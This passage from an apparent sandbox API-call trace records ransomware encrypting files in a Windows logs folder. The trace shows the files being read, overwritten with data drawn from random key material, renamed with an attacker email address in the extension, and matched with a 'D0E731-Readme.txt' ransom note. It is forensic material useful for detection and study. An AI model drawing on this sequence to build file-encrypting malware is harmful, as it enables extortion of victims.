1 [0081.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.079] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2553fdb0, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x2553fdb0*=0x8, lpOverlapped=0x0) returned 1 [0081.079] WriteFile (in: hFile=0x458, lpBuffer=0x2553fdc8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2553fdb0, lpOverlapped=0x0 | out: lpBuffer=0x2553fdc8*, lpNumberOfBytesWritten=0x2553fdb0*=0x4, lpOverlapped=0x0) returned 1 [0081.079] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2553fdb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2553fdb0*=0x4, lpOverlapped=0x0) returned 1 [0081.079] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2553fdb0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2553fdb0*=0x6c, lpOverlapped=0x0) returned 1 [0081.080] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2553fdb0, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x2553fdb0*=0x20, lpOverlapped=0x0) returned 1 [0081.080] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2553fdb0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2553fdb0*=0x4, lpOverlapped=0x0) returned 1 [0081.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.080] CloseHandle (hObject=0x458) returned 1 [0081.080] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.080] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" [0081.080] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731" [0081.080] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.081] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.081] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl", dwFileAttributes=0x2020) returned 0 [0081.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.081] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.081] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.081] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bb70) returned 1 [0081.081] RtlExitUserThread (Status=0x1) Thread: id = 1041 os_tid = 0x1748 [0081.078] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl")) returned 0x2020 [0081.083] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl", dwFileAttributes=0x20) returned 1 [0081.083] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.083] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x255bfb90 | out: lpFileSize=0x255bfb90*=12288) returned 1 [0081.083] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.083] ReadFile (in: hFile=0x458, lpBuffer=0x255bfb64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x255bfb60, lpOverlapped=0x0 | out: lpBuffer=0x255bfb64*, lpNumberOfBytesRead=0x255bfb60*=0x4, lpOverlapped=0x0) returned 1 [0081.085] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e248 [0081.085] NtQuerySystemTime (in: CurrentTime=0x255bfb3c | out: CurrentTime=0x255bfb3c*=132121176389747635) returned 0x0 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x74117c2e [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x4ba95a9b [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x71686cc1 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xbf18773e [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x341c94d5 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x450bf0b0 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xc2afe8da [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x312080ad [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x9ff48e37 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x82a8622f [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x21ccd0d8 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x2591a372 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x35987e72 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x16964f24 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xebff2da4 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xfe71a2d5 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xa5013af8 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xd8f1b16 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x1c4da4cc [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xed6bf6b5 [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xdb55104c [0081.085] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x26b45da6 [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x9f2c3f2b [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xb8b06b0d [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x7c8b276b [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xb9b6f60b [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xcfd4da9a [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x83fd5d2a [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x455d212f [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0x736eb59d [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xe2988374 [0081.086] RtlRandom (in: Seed=0x255bfb48 | out: Seed=0x255bfb48) returned 0xbbc4b569 [0081.097] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.097] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e270 [0081.098] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e270) returned 1 [0081.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.098] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x255bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x255bfb3c*=0x3000, lpOverlapped=0x0) returned 1 [0081.099] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x255bfb04 | out: lpNewFilePointer=0x0) returned 1 [0081.099] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x255bfb38, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x255bfb38*=0x3000, lpOverlapped=0x0) returned 1 [0081.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e270 [0081.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e270) returned 1 [0081.099] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x255bfb34, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x255bfb34*=0x20, lpOverlapped=0x0) returned 1 [0081.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.099] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x255bfb60, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x255bfb60*=0x8, lpOverlapped=0x0) returned 1 [0081.099] WriteFile (in: hFile=0x458, lpBuffer=0x255bfb78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x255bfb60, lpOverlapped=0x0 | out: lpBuffer=0x255bfb78*, lpNumberOfBytesWritten=0x255bfb60*=0x4, lpOverlapped=0x0) returned 1 [0081.099] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x255bfb60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x255bfb60*=0x4, lpOverlapped=0x0) returned 1 [0081.100] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x255bfb60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x255bfb60*=0x6c, lpOverlapped=0x0) returned 1 [0081.100] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x255bfb60, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x255bfb60*=0x20, lpOverlapped=0x0) returned 1 [0081.100] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x255bfb60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x255bfb60*=0x4, lpOverlapped=0x0) returned 1 [0081.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.100] CloseHandle (hObject=0x458) returned 1 [0081.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.100] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" [0081.100] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731" [0081.100] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.101] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.101] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl", dwFileAttributes=0x2020) returned 0 [0081.101] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.101] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.101] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.102] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.102] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.102] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c1f8) returned 1 [0081.102] RtlExitUserThread (Status=0x1) Thread: id = 1042 os_tid = 0x174c [0081.105] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl")) returned 0x2020 [0081.106] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl", dwFileAttributes=0x20) returned 1 [0081.106] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.107] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2563fa7c | out: lpFileSize=0x2563fa7c*=4096) returned 1 [0081.107] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.107] ReadFile (in: hFile=0x458, lpBuffer=0x2563fa50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2563fa4c, lpOverlapped=0x0 | out: lpBuffer=0x2563fa50*, lpNumberOfBytesRead=0x2563fa4c*=0x4, lpOverlapped=0x0) returned 1 [0081.108] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.108] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.108] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.108] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e270 [0081.108] NtQuerySystemTime (in: CurrentTime=0x2563fa28 | out: CurrentTime=0x2563fa28*=132121176390064827) returned 0x0 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xa602fd66 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x2d23a07e [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xf87c11dc [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x184bb06a [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x1c8e3196 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xe13fb7f0 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x926cad38 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x99782f59 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xb3d0a4e7 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xf1f0d742 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x7b6a7a56 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x4dd63be9 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xd00f0844 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x430cd3b8 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xb9d00111 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x7a5bd391 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x9b2ca056 [0081.108] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x3c7d217 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xd0690ed7 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xcac20466 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xe115f7c2 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x2b52e6e9 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xf8e8d943 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xc986d164 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x5809bea5 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xd1fec8a [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x8bd99ee8 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x8797494a [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xcda8a895 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xa54ec254 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0x45073bc0 [0081.109] RtlRandom (in: Seed=0x2563fa34 | out: Seed=0x2563fa34) returned 0xae86cc6b [0081.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e298 [0081.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e298) returned 1 [0081.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.120] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2563fa28, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2563fa28*=0x1000, lpOverlapped=0x0) returned 1 [0081.120] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2563f9f0 | out: lpNewFilePointer=0x0) returned 1 [0081.120] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2563fa24, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2563fa24*=0x1000, lpOverlapped=0x0) returned 1 [0081.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e298 [0081.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e298) returned 1 [0081.120] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2563fa20, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x2563fa20*=0x20, lpOverlapped=0x0) returned 1 [0081.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.121] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2563fa4c, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x2563fa4c*=0x8, lpOverlapped=0x0) returned 1 [0081.121] WriteFile (in: hFile=0x458, lpBuffer=0x2563fa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2563fa4c, lpOverlapped=0x0 | out: lpBuffer=0x2563fa64*, lpNumberOfBytesWritten=0x2563fa4c*=0x4, lpOverlapped=0x0) returned 1 [0081.121] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2563fa4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2563fa4c*=0x4, lpOverlapped=0x0) returned 1 [0081.121] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2563fa4c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2563fa4c*=0x6c, lpOverlapped=0x0) returned 1 [0081.121] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2563fa4c, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x2563fa4c*=0x20, lpOverlapped=0x0) returned 1 [0081.121] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2563fa4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2563fa4c*=0x4, lpOverlapped=0x0) returned 1 [0081.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.121] CloseHandle (hObject=0x458) returned 1 [0081.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.122] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl") 